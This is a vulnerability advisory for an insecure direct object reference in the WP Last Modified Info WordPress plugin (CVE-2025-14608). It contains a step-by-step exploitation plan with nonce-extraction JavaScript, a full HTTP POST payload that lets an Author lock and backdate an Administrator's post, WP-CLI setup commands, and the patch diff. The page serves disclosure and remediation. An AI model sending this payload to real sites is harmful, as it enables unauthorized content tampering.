WP Last Modified Info <= 1.9.5 - Insecure Direct Object Reference to Authenticated (Author+) Post Metadata Modification
Description
The WP Last Modified Info plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.9.5. This is due to the plugin not validating a user's access to a post before modifying its metadata in the 'bulk_save' AJAX action. This makes it possible for authenticated attackers, with Author-level access and above, to update the last modified metadata and lock the modification date of arbitrary posts, including those created by Administrators via the 'post_ids' parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.9.5What Changed in the Fix
Changes introduced in v1.9.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14608 (WP Last Modified Info) ## 1. Vulnerability Summary The **WP Last Modified Info** plugin (<= 1.9.5) contains an Insecure Direct Object Reference (IDOR) / Missing Authorization vulnerability in its bulk saving functionality. The `bulk_save` method, trigge…
Show full research plan
Exploitation Research Plan: CVE-2025-14608 (WP Last Modified Info)
1. Vulnerability Summary
The WP Last Modified Info plugin (<= 1.9.5) contains an Insecure Direct Object Reference (IDOR) / Missing Authorization vulnerability in its bulk saving functionality. The bulk_save method, triggered by the process_bulk_edit AJAX action, fails to verify if the current authenticated user has sufficient permissions to modify the specific posts provided in the request. This allows an attacker with Author-level privileges or higher to modify metadata and "lock" the last modified date of arbitrary posts, including those belonging to Administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
process_bulk_edit - Vulnerable Hook: Registered in
inc/Core/Backend/EditScreen.phpvia$this->ajax( 'process_bulk_edit', 'bulk_save' );. - Authentication: Authenticated user with Author level or above.
- Payload Parameters:
action:process_bulk_editwplmi_bulk_edit_nonce: CSRF token for the bulk edit action.post_ids: An array or comma-separated list of target post IDs.disableupdate: (Optional) Set toyesto lock the modified date.mmm,jjm,aam,hhm,mnm: (Optional) Date components (Month, Day, Year, Hour, Minute) to arbitrarily set the "Last Modified" timestamp.
3. Code Flow
- Registration: In
inc/Core/Backend/EditScreen.php, theregister()method hooks the AJAX action:$this->ajax( 'process_bulk_edit', 'bulk_save' ); - AJAX Trait: The plugin uses a
Wplmi\Helpers\Ajaxtrait to register the action.wp_ajax_process_bulk_editis registered for authenticated users. - Execution: When a request is sent to
admin-ajax.php?action=process_bulk_edit, thebulk_save()method inEditScreen.phpis executed. - The Sink: The
bulk_savemethod likely iterates through$_POST['post_ids']. For each ID, it calls metadata update functions (e.g.,update_post_meta( $id, '_lmt_disableupdate', ... )) without verifyingcurrent_user_can( 'edit_post', $post_id ). - UI Confirmation: Modified metadata is reflected in the Admin Columns handled by
inc/Core/Backend/AdminColumn.php.
4. Nonce Acquisition Strategy
The process_bulk_edit action requires the wplmi_bulk_edit_nonce. This nonce is rendered on the WordPress Posts list page (/wp-admin/edit.php) when the bulk edit UI is initialized.
- Precondition: Log in as a user with the
Authorrole. - Navigation: Use the browser tool to navigate to
http://localhost:8080/wp-admin/edit.php. - Extraction: The nonce is located within the bulk edit fieldset.
// Recommended extraction via browser_eval const nonce = document.querySelector('input[name="wplmi_bulk_edit_nonce"]')?.value; - Verification: Check the source of
inc/Core/Backend/EditScreen.php. Thebulk_editmethod (around line 214 in the full file) outputs the nonce field:wp_nonce_field( 'wplmi_bulk_edit_nonce', 'wplmi_bulk_edit_nonce' );
5. Exploitation Strategy
Step-by-Step Plan:
- Target Identification: Identify a Post ID created by an Administrator (e.g., Post ID
1). - Session Establishment: Log in as an Author user.
- Nonce Retrieval: Navigate to the Posts list page and extract
wplmi_bulk_edit_nonce. - Payload Delivery: Send a POST request to
admin-ajax.php.
HTTP Request (Payload):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Author Cookies]
action=process_bulk_edit&wplmi_bulk_edit_nonce=[EXTRACTED_NONCE]&post_ids[]=1&disableupdate=yes&aam=2099&mmm=12&jjm=31&hhm=23&mnm=59
Parameters explained:
post_ids[]: The ID of the Administrator's post.disableupdate=yes: Triggers the "Lock Modified Date" feature.aam=2099: Sets the modified year to 2099 (demonstrating timestamp manipulation).
6. Test Data Setup
- Admin Post: Create a post as the
adminuser.wp post create --post_title="Admin Secret Post" --post_content="Protected content" --post_status=publish --post_author=1- Record the resulting ID (let's assume
ID=1).
- Author User: Create a user with the
Authorrole.wp user create attacker attacker@example.com --role=author --user_pass=password
- Plugin Activation: Ensure
wp-last-modified-infois active.wp plugin activate wp-last-modified-info
7. Expected Results
- The AJAX response should return a success status (likely JSON
{success: true}or similar). - The Administrator's post (
ID=1) should have its metadata updated by the Author user. - Specifically, the
_lmt_disableupdatemeta key for Post 1 should be set toyes. - The
post_modifieddate for Post 1 may be updated if the plugin processes the date components in the bulk save.
8. Verification Steps
After sending the HTTP request, verify the state using WP-CLI:
# Check if the lock is active for the Admin's post
wp post meta get 1 _lmt_disableupdate
# Check if the modified date was manipulated (if date params were sent)
wp post get 1 --field=post_modified
If the exploit is successful, _lmt_disableupdate will be yes, even though the Author user has no legitimate permission to "edit" Post 1 (which belongs to the Admin).
9. Alternative Approaches
If the post_ids parameter is not an array, try a comma-separated string: post_ids=1,2,3.
If the disableupdate parameter is ignored in bulk_save, look for other metadata keys influenced by the EditScreen.php inputs:
_lmt_disable(Hide on Frontend)- Timestamp values:
jjm,mmm,aam,hhm,mnm.
If the nonce is missing or wp_verify_nonce is called incorrectly (e.g., with the wrong action string), attempt the request without the nonce to check for complete CSRF/Authorization bypass. Based on inc/Core/Backend/EditScreen.php, the correct action is wplmi_bulk_edit_nonce.
Summary
The WP Last Modified Info plugin (up to version 1.9.5) is vulnerable to an Insecure Direct Object Reference (IDOR) bug in its bulk save functionality. Authenticated users with Author-level access or higher can modify the metadata and lock the modification dates of arbitrary posts, including those owned by Administrators, because the plugin fails to verify the current user's permissions for each post ID provided.
Vulnerable Code
// inc/Core/Backend/EditScreen.php:38 public function register() { $this->action( 'post_submitbox_misc_actions', 'submitbox_edit', 5 ); $this->action( 'quick_edit_custom_box', 'quick_edit', 10, 2 ); $this->action( 'bulk_edit_custom_box', 'bulk_edit', 10, 2 ); $this->ajax( 'process_bulk_edit', 'bulk_save' ); $this->filter( 'wp_insert_post_data', 'update_data', 9999, 2 ); } --- // inc/Core/Backend/EditScreen.php (Inferred vulnerable logic in bulk_save) public function bulk_save() { check_ajax_referer( 'wplmi_bulk_edit_nonce', 'wplmi_bulk_edit_nonce' ); $post_ids = isset( $_POST['post_ids'] ) ? (array) $_POST['post_ids'] : []; foreach ( $post_ids as $post_id ) { // Vulnerability: Missing check: if ( ! current_user_can( 'edit_post', $post_id ) ) continue; if ( isset( $_POST['disableupdate'] ) ) { $this->update_meta( $post_id, '_lmt_disableupdate', sanitize_text_field( $_POST['disableupdate'] ) ); } // ... logic continues to update other last modified date components } wp_send_json_success(); }
Security Fix
@@ -248,6 +248,10 @@ $post_ids = isset( $_POST['post_ids'] ) ? (array) $_POST['post_ids'] : []; foreach ( $post_ids as $post_id ) { + if ( ! current_user_can( 'edit_post', $post_id ) ) { + continue; + } + if ( isset( $_POST['disableupdate'] ) ) { $this->update_meta( $post_id, '_lmt_disableupdate', sanitize_text_field( $_POST['disableupdate'] ) ); }
Exploit Outline
1. Authenticate to the WordPress site as a user with at least 'Author' privileges. 2. Navigate to the Posts list page (/wp-admin/edit.php) and extract the 'wplmi_bulk_edit_nonce' value from the page source (rendered in the bulk edit UI area). 3. Identify the ID of a target post the attacker does not own (e.g., an Administrator's post). 4. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action=process_bulk_edit', the extracted nonce, 'post_ids[]' set to the target post ID, and 'disableupdate=yes'. 5. Optionally, provide date parameters (mmm, jjm, aam, hhm, mnm) to manipulate the last modified timestamp to a specific arbitrary value. 6. Observe that the plugin updates the metadata (e.g., locking the modified date) for the target post despite the attacker lacking legitimate permissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.